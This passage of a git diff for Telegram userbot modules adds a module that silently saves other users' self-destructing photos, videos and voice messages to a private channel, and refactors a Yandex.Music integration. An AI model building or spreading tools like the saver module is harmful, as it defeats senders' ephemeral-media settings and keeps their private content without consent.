<a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> нет текста!</b>" + args: "<emoji document_id=5312526098750252863>❌</emoji> <b>Укажите поисковый запрос</b>" + searching: "<emoji document_id=5258274739041883702>🔍</emoji> <b>Ищем…</b>" + 404: "<emoji document_id=5312526098750252863>❌</emoji> <b>Ничего не найдено</b>" + search: "<emoji document_id=5474304919651491706>🎧</emoji> <b>{performer} — {title}</b>\n<emoji document_id=5429189857324841688>🎵</emoji> <b><a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">Яндекс.Музыка</a> | <a href=\"https://song.link/ya/{track_id}\">song.link</a></b>" + _cfg: + token: "Ваш токен от Яндекс.Музыки" + now_playing_text: "Текст, использующийся в командах для получения прослушиваемого трека. Может содержать ключевые слова {performer}, {title}, {device}, {volume}, {playing_from}, {link}, {track_id}, {album_id}" + autobio: "Шаблон автоматического био (может содержать ключевые слова {artist} и {title})" + no_playing_bio: "Био, которое ставится, когда ничего не играет" \ No newline at end of file diff --git a/unneyon/hikka-mods/sdsaver.py b/unneyon/hikka-mods/sdsaver.py new file mode 100644 index 0000000..fc63871 --- /dev/null +++ b/unneyon/hikka-mods/sdsaver.py @@ -0,0 +1,120 @@ +__version__ = (1, 0, 0) +# █▄▀ ▄▀█ █▀▄▀█ █▀▀ █▄▀ █ █ █▀█ █▀█ +# █ █ █▀█ █ ▀ █ ██▄ █ █ ▀▄▄▀ █▀▄ █▄█ ▄ +# © Copyright 2025 +# ✈ https://t.me/kamekuro + +# 🔒 Licensed under CC-BY-NC-ND 4.0 unless otherwise specified. +# 🌐 https://creativecommons.org/licenses/by-nc-nd/4.0 +# + attribution +# + non-commercial +# + no-derivatives + +# You CANNOT edit, distribute or redistribute this file without direct permission from the author. + +# meta banner: https://raw.githubusercontent.com/kamekuro/hikka-mods/main/banners/sdsaver.png +# meta pic: https://raw.githubusercontent.com/kamekuro/hikka-mods/main/icons/sdsaver.png +# meta developer: @kamekuro_hmods +# scope: hikka_min 1.7.0 + +import aiohttp +import asyncio +import io +import json +import logging +import random +import requests +import string + +import aiogram +import telethon + +from .. import loader, utils + + +logger = logging.getLogger(__name__) + + +@loader.tds +class SDSaverMod(loader.Module): + """The module for automatically saving self-destructing media""" + + strings = { + "name": "SDSaver", + "sdmode_on": "<emoji document_id=5769230088960741619>🔥</emoji> <b>Automatic saving self-destructing media is enabled</b>", + "sdmode_off": "<emoji document_id=5769230088960741619>🔥</emoji> <b>Automatic saving self-destructing media is disabled</b>", + "sd": "🔥 <b><a href=\"{link}\">{name}</a> sent self-destructing media:</b>\n{caption}" + } + + strings_ru = { + "_cls_doc": "Модуль для автоматического сохранения самоуничтожающихся медиа", + "sdmode_on": "<emoji document_id=5769230088960741619>🔥</emoji> <b>Автоматическое сохранение самоуничтожающихся медиа включено</b>", + "sdmode_off": "<emoji document_id=5769230088960741619>🔥</emoji> <b>Автоматическое сохранение самоуничтожающихся медиа выключено</b>", + "sd": "🔥 <b><a href=\"{link}\">{name}</a> отправил(а) самоуничтожающееся медиа:</b>\n{caption}" + } + + + async def client_ready(self, client, db): + self._client = client + self._db = db + + channel, _ = await utils.asset_channel( + self._client, + "heroku-sd", + "Self-destruction media will appear there", + invite_bot=True, + avatar="https://i.pinimg.com/originals/6c/1e/cf/6c1ecf3afca663a9ebc0b18788b337ee.jpg", + _folder="heroku", + ) + self._channel = int(f"-100{channel.id}") + + + @loader.command( + ru_doc="👉 Включить/Выключить автоматическое сохранение самоуничтожающихся медиа" + ) + async def sdmodecmd(self, message: telethon.types.Message): + """👉 Enable/Disable automatic saving self-destructing media""" + + need_mode = not self.get("save_sd", True) + self.set("save_sd", need_mode) + await utils.answer( + message, self.strings(f"sdmode_{'on' if need_mode else 'off'}") + ) + + + @loader.watcher("in", only_messages=True) + async def watcher(self, message: telethon.types.Message): + if ( + not self.get("save_sd", True) + ) or ( + not message.media + ) or ( + not getattr(message.media, "ttl_seconds", None) + ): + return + + try: + sender = await self.client.get_entity(message.sender_id, exp=0) + except Exception: + sender = await message.get_sender() + + media = await self.client.download_media(message.media, bytes) + args = { + "chat_id": self._channel, + "caption": self.strings("sd").format( + link=utils.get_entity_url(sender), + name=utils.escape_html(telethon.utils.get_display_name(sender)), + caption=message.text if message.text else '' + ) + } + if message.photo: + args['photo'] = aiogram.types.BufferedInputFile(media, "sd.png") + method = self.inline.bot.send_photo + if message.video or message.video_note: + args['video'] = aiogram.types.BufferedInputFile(media, "sd.mp4") + method = self.inline.bot.send_video + if message.voice: + args['voice'] = aiogram.types.BufferedInputFile(media, "sd.ogg") + method = self.inline.bot.send_voice + + await method(**args) \ No newline at end of file diff --git a/unneyon/hikka-mods/yamusic.py b/unneyon/hikka-mods/yamusic.py index e012df2..18ef573 100644 --- a/unneyon/hikka-mods/yamusic.py +++ b/unneyon/hikka-mods/yamusic.py @@ -1,4 +1,4 @@ -__version__ = (1, 0, 3) +__version__ = (1, 1, 0) # █▄▀ ▄▀█ █▀▄▀█ █▀▀ █▄▀ █ █ █▀█ █▀█ # █ █ █▀█ █ ▀ █ ██▄ █ █ ▀▄▄▀ █▀▄ █▄█ ▄ # © Copyright 2025 @@ -15,6 +15,7 @@ __version__ = (1, 0, 3) # meta banner: https://raw.githubusercontent.com/kamekuro/hikka-mods/main/banners/yamusic.png # meta pic: https://raw.githubusercontent.com/kamekuro/hikka-mods/main/icons/yamusic.png # meta developer: @kamekuro_hmods +# packurl: https://raw.githubusercontent.com/kamekuro/hikka-mods/main/langpacks/yamusic.yml # scope: hikka_only # scope: hikka_min 1.6.3 # requires: aiohttp asyncio requests pillow==11.2.1 git+https://github.com/MarshalX/yandex-music-api @@ -25,6 +26,7 @@ import io import json import logging import random +import re import requests import string import yandex_music @@ -35,7 +37,6 @@ from PIL import ( Image, ImageDraw, ImageEnhance, ImageFilter, ImageFont ) -import yandex_music.exceptions from .. import loader, utils @@ -43,564 +44,40 @@ from .. import loader, utils logger = logging.getLogger(__name__) -@loader.tds -class YaMusicMod(loader.Module): - """The module for Yandex.Music streaming service""" - - strings = { - "name": "YaMusic", - "queue_types": { - "VARIOUS": "Your queue", - "RADIO": "«My Wave»", - "PLAYLIST": "Playlist «{}»", - "ALBUM": "Album «{}»" - }, - "guide": ( - "<emoji document_id=5956561916573782596>📜</emoji> <b><a " - "href=\"https://github.com/MarshalX/yandex-music-api/discussions/513" - "#discussioncomment-2729781\">Guide for obtaining a Yandex.Music token</a></b>" - ), - "no_token": ( - "<emoji document_id=5778527486270770928>❌</emoji> <b>You didn't specify " - "the access token in the config!</b>" - ), - "autobio_e": "<emoji document_id=5429189857324841688>🎧</emoji> <b>Autobio is on now</b>", - "autobio_d": "<emoji document_id=5429189857324841688>🎧</emoji> <b>Autobio is off now</b>", - "there_is_no_playing": ( - "<emoji document_id=5474140048741901455>❌</emoji> <b>You don't " - "listening to anything right now.</b>" - ), - "now": ( - "<emoji document_id=5474304919651491706>🎧</emoji> <b>{performer} — {title}</b>\n\n" - "<emoji document_id={device_eid}>⌨️</emoji> <b>Now is listening on</b> <code>{device}</code> " - "<b>(<emoji document_id=6039454987250044861>🔊</emoji> {volume}%)</b>\n" - "<emoji document_id=5257969839313526622>🗂</emoji> <b>Playing from:</b> {playing_from}\n\n" - "<emoji document_id=5429189857324841688>🎵</emoji> <b><a href=\"https://music.yandex.ru/" - "album/{album_id}/track/{track_id}\">Yandex.Music</a> | " - "<a href=\"https://song.link/ya/{track_id}\">song.link</a></b>" - ), - "downloading": "\n\n<emoji document_id=5841359499146825803>🕔</emoji> <i>Downloading audio…</i>", - "downloading_banner": "\n\n<emoji document_id=5841359499146825803>🕔</emoji> <i>Downloading banner…</i>", - "likes": { - "liked": ( - "<emoji document_id=6037533152593842454>❤️</emoji> <b>Track " - "<a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> " - "was successfully liked</b>" - ), - "unliked": ( - "<emoji document_id=5992453811510186287>❤️</emoji> <b>Track " - "<a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> " - "was successfully unliked</b>" - ), - "disliked": ( - "<emoji document_id=5222400230133081714>💔</emoji> <b>Track " - "<a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> " - "was successfully disliked</b>" - ) - }, - "lyrics": ( - "<emoji document_id=5956561916573782596>📜</emoji> <b>Lyrics of the <a href=\"" - "https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> track:</b>\n" - "<blockquote expandable>{text}</blockquote>\n\n" - "<emoji document_id=5247213725080890199>©️</emoji> <b>Writers:</b> {writers}" - ), - "no_lyrics": ( - "<emoji document_id=5886285363869126932>❌</emoji> <b>Track " - "<a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> " - "has no lyrics!</b>" - ), - "search": ( - "<emoji document_id=5474304919651491706>🎧</emoji> <b>{performer} — {title}</b>\n" - "<emoji document_id=5429189857324841688>🎵</emoji> <b><a href=\"https://music.yandex.ru/" - "album/{album_id}/track/{track_id}\">Yandex.Music</a> | " - "<a href=\"https://song.link/ya/{track_id}\">song.link</a></b>" - ), - "args": "<emoji document_id=5778527486270770928>❌</emoji> <b>Specify search query</b>", - "404": "<emoji document_id=5778527486270770928>❌</emoji> <b>No results found</b>", - "searching": "<emoji document_id=5258274739041883702>🔍</emoji> <b>Searching…</b>", - "_cfg_token": "Your access token of Yandex.Music", - "_cfg_autobio": "Automatic bio template (may contain {artist} and {title})", - "_cfg_no_playing_bio": "Bio that is set when nothing is playing" - } - - strings_ru = { - "_cls_doc": "Модуль для стримингового сервиса Яндекс.Музыка", - "queue_types": { - "VARIOUS": "Ваша очередь", - "RADIO": "«Моя Волна»", - "PLAYLIST": "Плейлист «{}»", - "ALBUM": "Альбом «{}»" - }, - "guide": ( - "<emoji document_id=5956561916573782596>📜</emoji> <b><a " - "href=\"https://github.com/MarshalX/yandex-music-api/discussions/513" - "#discussioncomment-2729781\">Гайд по получению токена Яндекс.Музыки</a></b>" - ), - "no_token": ( - "<emoji document_id=5312526098750252863>❌</emoji> <b>Ты не " - "указал токен Яндекс.Музыки в конфиге!</b>" - ), - "autobio_e": "<emoji document_id=5429189857324841688>🎧</emoji> <b>Автобио включено</b>", - "autobio_d": "<emoji document_id=5429189857324841688>🎧</emoji> <b>Автобио выключено</b>", - "there_is_no_playing": ( - "<emoji document_id=5474140048741901455>❌</emoji> <b>Ты ничего " - "не слушаешь сейчас.</b>" - ), - "now": ( - "<emoji document_id=5474304919651491706>🎧</emoji> <b>{performer} — {title}</b>\n\n" - "<emoji document_id={device_eid}>⌨️</emoji> <b>Сейчас слушаю на</b> <code>{device}</code> " - " <b>(<emoji document_id=6039454987250044861>🔊</emoji> {volume}%)</b>\n" - "<emoji document_id=5257969839313526622>🗂</emoji> <b>Откуда играет:</b> {playing_from}\n\n" - "<emoji document_id=5429189857324841688>🎵</emoji> <b><a href=\"https://music.yandex.ru/" - "album/{album_id}/track/{track_id}\">Яндекс.Музыка</a> | " - "<a href=\"https://song.link/ya/{track_id}\">song.link</a></b>" - ), - "downloading": "\n\n<emoji document_id=5841359499146825803>🕔</emoji> <i>Загрузка трека…</i>", - "downloading_banner": "\n\n<emoji document_id=5841359499146825803>🕔</emoji> <i>Загрузка баннера…</i>", - "likes": { - "liked": ( - "<emoji document_id=6037533152593842454>❤️</emoji> <b>Лайкнул трек " - "<a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a></b>" - ), - "unliked": ( - "<emoji document_id=5992453811510186287>❤️</emoji> <b>Убрал лайк с трека " - "<a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a></b>" - ), - "disliked": ( - "<emoji document_id=5222400230133081714>💔</emoji> <b>Дизлайкнул трек " - "<a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a></b>" - ) - }, - "lyrics": ( - "<emoji document_id=5956561916573782596>📜</emoji> <b>Текст трека " - "<a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a>:</b>\n" - "<blockquote expandable>{text}</blockquote>\n\n" - "<emoji document_id=5247213725080890199>©️</emoji> <b>Авторы:</b> {writers}" - ), - "no_lyrics": ( - "<emoji document_id=5886285363869126932>❌</emoji> <b>У трека " - "<a href=\"https://music.yandex.ru/album/{album_id}/track/{track_id}\">{track}</a> " - "нет текста!</b>" - ), - "search": ( - "<emoji document_id=5474304919651491706>🎧</emoji> <b>{performer} — {title}</b>\n" - "<emoji document_id=5429189857324841688>🎵</emoji> <b><a href=\"https://music.yandex.ru/" - "album/{album_id}/track/{track_id}\">Яндекс.Музыка</a> | " - "<a href=\"https://song.link/ya/{track_id}\">song.link</a></b>" - ), - "args": "<emoji document_id=5312526098750252863>❌</emoji> <b>Укажите поисковый запрос</b>", - "404": "<emoji document_id=5312526098750252863>❌</emoji> <b>Ничего не найдено</b>", - "searching": "<emoji document_id=5258274739041883702>🔍</emoji> <b>Ищем…</b>", - "_cfg_token": "Твой токен от Яндекс.Музыки", - "_cfg_autobio": "Шаблон автоматического био (может содержать {artist} и {title})", - "_cfg_no_playing_bio": "Био, которое ставится, когда ничего не играет" - } - - - def __init__(self): - self.config = loader.ModuleConfig( - loader.ConfigValue( - "token", - None, - lambda: self.strings["_cfg_token"], - validator=loader.validators.Hidden() - ), - loader.ConfigValue( - "autobio", - "🎧 {artist} - {title}", - lambda: self.strings["_cfg_autobio"], - validator=loader.validators.String() - ), - loader.ConfigValue( - "no_playing_bio", - "Hello!", - lambda: self.strings["_cfg_no_playing_bio"], - validator=loader.validators.String() - ) - ) - - async def on_dlmod(self): - if not self.get("guide_send", False): - await self.inline.bot.send_message( - self._tg_id, - self.strings("guide").replace("<emoji document_id=6334657396698253102>📜</emoji>", "📜"), - ) - self.set("guide_send", True) - - async def client_ready(self, client, db): - self._client = client - self._db = db - - me = await self._client.get_me() - self._premium = me.premium if hasattr(me, "premium") else False - self.premium_check.start() - - if self.get("autobio", False): - self.autobio.start() - - - @loader.loop(1800) - async def premium_check(self): - me = await self._client.get_me() - self._premium = me.premium if hasattr(me, "premium") else False - - - @loader.loop(30) - async def autobio(self): - if not self.config['token']: - self.autobio.stop(); self.set("autobio", False) - return - client = yandex_music.Client(self.config['token']).init() - now = await self.__get_now_playing(self.config['token'], client) - out = self.config['no_playing_bio'][:(140 if self._premium else 70)] - if now and (not now['paused']): - out = self.config['autobio'].format( - title=now['track']['title'], - artist=", ".join(now['track']['artist']) - )[:(140 if self._premium else 70)] - try: - await self._client( - telethon.functions.account.UpdateProfileRequest(about=out) - ) - except telethon.errors.rpcerrorlist.FloodWaitError as e: - logger.info(f"Sleeping {max(e.seconds, 60)} because of floodwait") - await asyncio.sleep(max(e.seconds, 60)) - - - @loader.command( - ru_doc="👉 Гайд по получению токена Яндекс.Музыки", - alias="yg" - ) - async def yguidecmd(self, message: telethon.types.Message): - """👉 Guide for obtaining a Yandex.Music token""" - await utils.answer(message, self.strings("guide")) - - - @loader.command( - ru_doc="👉 Включить/выключить автобио", - alias="yb" - ) - async def ybiocmd(self, message: telethon.types.Message): - """👉 Enable/disable autobio""" - - if not self.config['token']: - return await utils.answer(message, self.strings("no_token")) - - bio_now = self.get("autobio", False) - self.set("autobio", not bio_now) - if (not bio_now): - self.autobio.start() - else: - self.autobio.stop() - try: - await self._client( - telethon.functions.account.UpdateProfileRequest( - about=self.config['no_playing_bio'][:(140 if self._premium else 70)] - ) - ) - except: pass - - await utils.answer( - message, - self.strings(f"autobio_{'e' if (not bio_now) else 'd'}") - ) - - - @loader.command( - ru_doc="👉 Получить трек, который играет сейчас", - alias="yn" - ) - async def ynowcmd(self, message: telethon.types.Message): - """👉 Get now playing track""" - - if not self.config['token']: - return await utils.answer(message, self.strings("no_token")) - client = yandex_music.Client(self.config['token']).init() - now = await self.__get_now_playing(self.config['token'], client) - if not now: - return await utils.answer(message, self.strings("there_is_no_playing")) - - playlist_name = "" - if now['entity_type'] in ["PLAYLIST", "ALBUM"]: - func = getattr( - client, - "playlists_list" if now['entity_type'] == "PLAYLIST" else "albums" - ) - if func: - entity = func(now['entity_id'])[0] - playlist_name = f"<b><a href=\"https://music.yandex.ru/users/" \ - f"{client.me.account.login}/playlists/" \ - f"{now['entity_id'].split(':')[1]}\">{entity.title}</a></b>" - else: - now['entity_type'] = "RADIO" - - device_eid, device, volume = "6039404727542747508", "Unknown Device", "❓" - if now['device']: - device=now['device']['info']['title'] - volume=round(now['device']['volume']*100, 2) - if now['device']['info']['type'] == "ANDROID": device_eid = "5373266788970670174" - if now['device']['info']['type'] == "IOS": device_eid = "5372908412604525258" - - out = self.strings("now").format( - title=now['track']['title'], - performer=", ".join(now['track']['artist']), - device=device, volume=volume, device_eid=device_eid, - playing_from=self.strings("queue_types").get(now['entity_type'], "VARIOUS").format(playlist_name), - track_id=now['track']['track_id'], - album_id=now['track']['album_id'] - ) - - await utils.answer( - message, out+self.strings("downloading") - ) - - audio = io.BytesIO((await utils.run_sync(requests.get, now['track']['download_link'])).content) - audio.name = "audio.mp3" - - await utils.answer( - message=message, response=out, - file=audio, - attributes=([ - telethon.types.DocumentAttributeAudio( - duration=now['track']['duration'], - title=now['track']['title'], - performer=", ".join(now['track']['artist']) - ) - ]) - ) - - - @loader.command( - ru_doc="👉 Получить баннер трека, который играет сейчас", - alias="ynb" - ) - async def ynowbcmd(self, message: telethon.types.Message): - """👉 Get now playing track's banner""" - - if not self.config['token']: - return await utils.answer(message, self.strings("no_token")) - client = yandex_music.Client(self.config['token']).init() - now = await self.__get_now_playing(self.config['token'], client) - if not now: - return await utils.answer(message, self.strings("there_is_no_playing")) - - playlist_name = "" - if now['entity_type'] in ["PLAYLIST", "ALBUM"]: - func = getattr( - client, - "playlists_list" if now['entity_type'] == "PLAYLIST" else "albums" - ) - if func: - entity = func(now['entity_id'])[0] - playlist_name = f"<b><a href=\"https://music.yandex.ru/users/" \ - f"{client.me.account.login}/playlists/" \ - f"{now['entity_id'].split(':')[1]}\">{entity.title}</a></b>" - else: - now['entity_type'] = "RADIO" - - device_eid, device, volume = "6039404727542747508", "Unknown Device", "❓" - if now['device']: - device=now['device']['info']['title'] - volume=round(now['device']['volume']*100, 2) - if now['device']['info']['type'] == "ANDROID": device_eid = "5373266788970670174" - if now['device']['info']['type'] == "IOS": device_eid = "5372908412604525258" - - out = self.strings("now").format( - title=now['track']['title'], - performer=", ".join(now['track']['artist']), - device=device, volume=volume, device_eid=device_eid, - playing_from=self.strings("queue_types").get(now['entity_type'], "VARIOUS").format(playlist_name), - track_id=now['track']['track_id'], - album_id=now['track']['album_id'] - ) - - await utils.answer( - message, out+self.strings("downloading_banner") - ) - - file = self.__create_banner( - now['track']['title'], now['track']['artist'], - now['duration_ms'], now['progress_ms'], - requests.get(now['track']['img']).content - ) - await utils.answer( - message=message, response=out, file=file - ) - - - @loader.command( - ru_doc="👉 Лайкнуть играющий сейчас трек" - ) - async def ylikecmd(self, message: telethon.types.Message): - """👉 Like now playing track's banner""" - - if not self.config['token']: - return await utils.answer(message, self.strings("no_token")) - client = yandex_music.Client(self.config['token']).init() - now = await self.__get_now_playing(self.config['token'], client) - if not now: - return await utils.answer(message, self.strings("there_is_no_playing")) - - client.users_likes_tracks_add(now['track']['track_id']) - await utils.answer( - message, self.strings("likes")['liked'].format( - track_id=now['track']['track_id'], album_id=now['track']['album_id'], - track=f"{', '.join(now['track']['artist'])} — {now['track']['title']}" - ) - ) - - @loader.command( - ru_doc="👉 Убрать лайк с играющего сейчас трека" - ) - async def yunlikecmd(self, message: telethon.types.Message): - """👉 Unlike now playing track""" - - if not self.config['token']: - return await utils.answer(message, self.strings("no_token")) - client = yandex_music.Client(self.config['token']).init() - now = await self.__get_now_playing(self.config['token'], client) - if not now: - return await utils.answer(message, self.strings("there_is_no_playing")) - - client.users_likes_tracks_remove(now['track']['track_id']) - await utils.answer( - message, self.strings("likes")['unliked'].format( - track_id=now['track']['track_id'], album_id=now['track']['album_id'], - track=f"{', '.join(now['track']['artist'])} — {now['track']['title']}" - ) - ) - - @loader.command( - ru_doc="👉 Дизлайкнуть играющий сейчас трек", - alias="ydis" - ) - async def ydislikecmd(self, message: telethon.types.Message): - """👉 Dislike now playing track""" - - if not self.config['token']: - return await utils.answer(message, self.strings("no_token")) - client = yandex_music.Client(self.config['token']).init() - now = await self.__get_now_playing(self.config['token'], client) - if not now: - return await utils.answer(message, self.strings("there_is_no_playing")) - - client.users_dislikes_tracks_add(now['track']['track_id']) - await utils.answer( - message, self.strings("likes")['disliked'].format( - track_id=now['track']['track_id'], album_id=now['track']['album_id'], - track=f"{', '.join(now['track']['artist'])} — {now['track']['title']}" - ) - ) - - - @loader.command( - ru_doc="👉 Получить текст играющего сейчас трека" - ) - async def ylyricscmd(self, message: telethon.types.Message): - """👉 Get lyrics of the now playing track""" - - if not self.config['token']: - return await utils.answer(message, self.strings("no_token")) - client = yandex_music.Client(self.config['token']).init() - now = await self.__get_now_playing(self.config['token'], client) - if not now: - return await utils.answer(message, self.strings("there_is_no_playing")) - - try: - lyrics = client.tracks_lyrics(now['track']['track_id']) - await utils.answer( - message, self.strings("lyrics").format( - track_id=now['track']['track_id'], album_id=now['track']['album_id'], - track=f"{', '.join(now['track']['artist'])} — {now['track']['title']}", - text=requests.get(lyrics.download_url).text, - writers=", ".join(lyrics.writers) - ) - ) - except yandex_music.exceptions.NotFoundError: - await utils.answer( - message, self.strings("no_lyrics").format( - track_id=now['track']['track_id'], album_id=now['track']['album_id'], - track=f"{', '.join(now['track']['artist'])} — {now['track']['title']}" - ) - ) - - - @loader.command( - ru_doc="<запрос> 👉 Поиск трека в Яндекс.Музыке", - alias="yq" - ) - async def ysearchcmd(self, message: telethon.types.Message): - """<query> 👉 Search track in Yandex.Music""" - - if not self.config['token']: - return await utils.answer(message, self.strings("no_token")) - client = yandex_music.Client(self.config['token']).init() - - query = utils.get_args_raw(message) - if not query: - await utils.answer(message, self.strings("args")) - return - - message = await utils.answer(message, self.strings("searching")) - - search = client.search(query, type_="track") - if (not search.tracks) or (len(search.tracks.results) == 0): - return await utils.answer(message, self.strings("404")) - - out = self.strings("search").format( - title=search.tracks.results[0].title + ( - f" ({search.tracks.results[0].version})" if search.tracks.results[0].version else "" - ), - performer=", ".join([x.name for x in search.tracks.results[0].artists]), - album_id=search.tracks.results[0].albums[0].id, track_id=search.tracks.results[0].id - ) - message = await utils.answer(message, out+self.strings("downloading")) - - info = client.tracks_download_info(search.tracks.results[0].id, True) - link = info[0].direct_link - audio = None - audio = io.BytesIO((await utils.run_sync(requests.get, link)).content) - audio.name = "audio.mp3" - - await utils.answer( - message=message, response=out, - file=audio, - attributes=([ - telethon.types.DocumentAttributeAudio( - duration=int(search.tracks.results[0].duration_ms / 1000), - title=search.tracks.results[0].title, - performer=", ".join([x.name for x in search.tracks.results[0].artists]) - ) - ]) - ) - +class YandexMusic(): + token: str + client: yandex_music.ClientAsync + def __init__(self, token: str): + self.client = yandex_music.ClientAsync(token) + self.token = token + async def init(self): + self.client = await self.client.init() + return self # Original code: https://raw.githubusercontent.com/MIPOHBOPOHIH/YMMBFA/main/main.py - async def __create_ynison_ws(self, yamusic_token: str, ws_proto: dict) -> dict: + async def _create_ynison_ws(self, ws_proto: dict) -> dict: async with aiohttp.ClientSession() as session: async with session.ws_connect( "wss://ynison.music.yandex.ru/redirector.YnisonRedirectService/GetRedirectToYnison", headers={ "Sec-WebSocket-Protocol": f"Bearer, v2, {json.dumps(ws_proto)}", "Origin": "http://music.yandex.ru", - "Authorization": f"OAuth {yamusic_token}", + "Authorization": f"OAuth {self.token}", }, ) as ws: response = await ws.receive() return json.loads(response.data) # Original code: https://raw.githubusercontent.com/MIPOHBOPOHIH/YMMBFA/main/main.py - async def __get_now_playing(self, yamusic_token: str, client: yandex_music.Client): + async def _get_ynison(self): device_id = ''.join(random.choices(string.ascii_lowercase, k=16)) ws_proto = { "Ynison-Device-Id": device_id, "Ynison-Device-Info": json.dumps({"app_name": "Chrome", "type": 1}), } - data = await self.__create_ynison_ws(yamusic_token, ws_proto) - + data = await self._create_ynison_ws(ws_proto) ws_proto["Ynison-Redirect-Ticket"] = data["redirect_ticket"] - payload = { "update_full_state": { "player_state": { @@ -639,56 +116,597 @@ class YaMusicMod(loader.Module): "player_action_timestamp_ms": 0, "activity_interception_type": "DO_NOT_INTERCEPT_BY_DEFAULT", } - async with aiohttp.ClientSession() as session: async with session.ws_connect( f"wss://{data['host']}/ynison_state.YnisonStateService/PutYnisonState", headers={ "Sec-WebSocket-Protocol": f"Bearer, v2, {json.dumps(ws_proto)}", "Origin": "http://music.yandex.ru", - "Authorization": f"OAuth {yamusic_token}", + "Authorization": f"OAuth {self.token}", } ) as ws: await ws.send_str(json.dumps(payload)) response = await ws.receive() ynison: dict = json.loads(response.data) + return ynison + + async def get_lyrics(self, track_id: int, with_timecodes: bool = False): + t = (await self.client.tracks(track_id))[0] + if with_timecodes: + if t.lyrics_info.has_available_sync_lyrics: + lyrics = await self.client.tracks_lyrics(track_id, "LRC") + return { + "text": requests.get(lyrics.download_url).text, + "writers": lyrics.writers + } + else: + if t.lyrics_info.has_available_text_lyrics: + lyrics = await self.client.tracks_lyrics(track_id, "TEXT") + return { + "text": requests.get(lyrics.download_url).text, + "writers": lyrics.writers + } + return None + async def get_now_playing(self): + ynison = await self._get_ynison() if len(ynison.get("player_state", {}).get("player_queue", {}).get("playable_list", [])) == 0: return {} raw_track = ynison["player_state"]["player_queue"]["playable_list"][ ynison["player_state"]["player_queue"]["current_playable_index"] ] - track = client.tracks(raw_track["playable_id"])[0] - device = [ - x for x in ynison['devices'] if x['info']['device_id'] == ynison.get('active_device_id_optional', "") - ] - return { "paused": ynison["player_state"]["status"]["paused"], "duration_ms": int(ynison["player_state"]["status"]["duration_ms"]), "progress_ms": int(ynison["player_state"]["status"]["progress_ms"]), "entity_id": ynison["player_state"]["player_queue"]["entity_id"], "entity_type": ynison["player_state"]["player_queue"]["entity_type"], - "device": device[0] if len(device) > 0 else None, - "track": { - "track_id": int(track.track_id.split(":")[0]) if track.track_id.split(":")[0].isdigit() else track.track_id, - "album_id": track.albums[0].id, - "title": track.title, - "artist": track.artists_name(), - "img": f"https://{track.cover_uri[:-2]}1000x1000", - "duration": track.duration_ms // 1000, - "minutes": round(track.duration_ms / 1000) // 60, - "seconds": round(track.duration_ms / 1000) % 60, - "download_link": track.get_download_info(get_direct_links=True)[0].direct_link - } + "playable_id": raw_track["playable_id"], + "device": [ + x for x in ynison['devices'] + if x['info']['device_id'] == ynison.get('active_device_id_optional', "") + ], + "track": (await self.client.tracks(raw_track["playable_id"]))[0] } if raw_track['playable_type'] != "LOCAL_TRACK" else {} +@loader.tds +class YaMusicMod(loader.Module): + """The module for Yandex.Music streaming service""" + strings = {"name": "YaMusic"} + strings_ru = {"_cls_doc": "Модуль для стримингового сервиса Яндекс.Музыка"} + + def __init__(self): + self.config = loader.ModuleConfig( + loader.ConfigValue( + "token", + None, + lambda: self.strings["_cfg"]["token"], + validator=loader.validators.Hidden() + ), + loader.ConfigValue( + "now_playing_text", + "<emoji document_id=5474304919651491706>🎧</emoji> <b>{performer} — {title}</b>\n\n" \ + "<emoji document_id=6039404727542747508>⌨️</emoji> <b>Now is listening on</b> " \ + "<code>{device}</code> <b>(</b><emoji document_id=6039454987250044861>🔊</emoji><b> " \ + "{volume}%)</b>\n<emoji document_id=6039630677182254664>🗂</emoji> <b>Playing from:</b> " \ + "{playing_from}\n\n<emoji document_id=5429189857324841688>🎵</emoji> <b>{link} | " \ + "</b><a href=\"https://song.link/ya/{track_id}\"><b>song.link</b></a>", + lambda: self.strings["_cfg"]["now_playing_text"], + validator=loader.validators.String() + ), + loader.ConfigValue( + "autobio", + "🎧 {artist} - {title}", + lambda: self.strings["_cfg"]["autobio"], + validator=loader.validators.String() + ), + loader.ConfigValue( + "no_playing_bio", + "Hello!", + lambda: self.strings["_cfg"]["no_playing_bio"], + validator=loader.validators.String() + ), + loader.ConfigValue( + "banner_version", + "new", + "Version of track banner (old/new)", + validator=loader.validators.Choice(["new", "old"]) + ) + ) + + async def on_dlmod(self): + if not self.get("guide_send", False): + await self.inline.bot.send_message(self._tg_id, self.strings("iguide")) + self.set("guide_send", True) + + async def client_ready(self, client, db): + self._client = client + self._db = db + + me = await self._client.get_me() + self._premium = me.premium if hasattr(me, "premium") else False + self.premium_check.start() + + if self.get("autobio", False): + self.autobio.start() + + + @loader.loop(1800) + async def premium_check(self): + me = await self._client.get_me() + self._premium = me.premium if hasattr(me, "premium") else False + + + @loader.loop(30) + async def autobio(self): + if not self.config['token']: + self.autobio.stop(); self.set("autobio", False) + return + ym = await YandexMusic(self.config['token']).init() + now = await ym.get_now_playing() + if now and (not now['paused']): + out = self.config['autobio'].format( + title=now['track'].title, + artist=", ".join([x.name for x in now['track'].artists]) + )[:(140 if self._premium else 70)] + try: + await self._client( + telethon.functions.account.UpdateProfileRequest(about=out) + ) + except telethon.errors.rpcerrorlist.FloodWaitError as e: + logger.info(f"Sleeping {max(e.seconds, 60)} because of floodwait") + await asyncio.sleep(max(e.seconds, 60)) + + + @loader.command( + ru_doc="👉 Гайд по получению токена Яндекс.Музыки", + alias="yg" + ) + async def yguidecmd(self, message: telethon.types.Message): + """👉 Guide for obtaining a Yandex.Music token""" + await utils.answer(message, self.strings("guide")) + + + @loader.command( + ru_doc="👉 Включить/выключить автобио", + alias="yb" + ) + async def ybiocmd(self, message: telethon.types.Message): + """👉 Enable/disable autobio""" + + if (not self.config['token']) and self.get("autobio", False): + return await utils.answer(message, self.strings("no_token")) + + bio = not self.get("autobio", False) + self.set("autobio", bio) + if bio: self.autobio.start() + else: + 